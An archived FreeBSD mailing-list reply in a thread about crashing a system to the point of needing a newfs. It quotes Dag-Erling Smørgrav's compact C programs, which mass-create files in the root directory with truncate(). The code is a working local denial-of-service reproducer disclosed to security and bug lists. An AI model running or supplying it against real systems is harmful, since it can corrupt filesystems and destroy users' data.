Skip site navigation (1)Skip section navigation (2)
Date:      Mon, 18 Feb 2008 16:09:52 +0200
From:      "Dennis Melentyev" <dennis.melentyev@gmail.com>
To:        "=?UTF-8?Q?Dag-Erling_Sm=C3=B8rgrav?=" <des@des.no>
Cc:        freebsd-fs@freebsd.org, freebsd-security@freebsd.org, freebsd-stable@freebsd.org, FreeBSD-bugs@freebsd.org
Subject:   Re: How to take down a system to the point of requiring a newfs with one line of C (userland)
Message-ID:  <b84edfa10802180609l737f2b7cu3096edbd1bf83d71@mail.gmail.com>
In-Reply-To: <863arq5q14.fsf@ds4.des.no>
References:  <47B90868.7000900@electron-tube.net> <86odae5rgr.fsf@ds4.des.no> <863arq5q14.fsf@ds4.des.no>

next in thread | previous in thread | raw e-mail | index | archive | help

Dag-Erling: you win! Your's longer a couple of inches :)

Sorry, my hands runs in front of the loco...
Hope there are not much of *such* styled preprocessor code in FreeBSD?
It should be a plain suicide to fix a bug in it.

2008/2/18, Dag-Erling Smørgrav <des@des.no>:
> Dag-Erling Smørgrav <des@des.no> writes:
> > Purely in the interest of showing off, here is my version.  It is 81
> > bytes shorter than yours, it is valid C99 with POSIX extensions (yours
> > is not), and it produces 11,450 files in about 0.2% of the time yours
> > takes to produce 10,000.
> >
> > #include <unistd.h>
> > #define b(i,v) for(int v=48;v<127;++v){f[i]=v;
> > #define a(i) b(i,v##i)
> > int main(void){char f[5]={'/'};a(1)a(2)a(3)truncate(f,0);}}}}
>
> Two bugs:
>
> 1) I forgot to include the correct version of the code
>
> 2) the version I had created a few files with '/' in their names; this
>    slightly nastier creates 10,648 files with only letters.
>
> #include <unistd.h>
> #define b(i,v)for(int v=65;v<87;){i[f]=v++;
> #define a(i)b(i,v##i)
> int main(void){char f[4]={47};a(1)a(2)a(3)truncate(f,0);}}}}
>
> DES
> --
> Dag-Erling Smørgrav - des@des.no
> _______________________________________________
> freebsd-stable@freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-stable
> To unsubscribe, send any mail to "freebsd-stable-unsubscribe@freebsd.org"
>


-- 
Dennis Melentyev


Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?b84edfa10802180609l737f2b7cu3096edbd1bf83d71>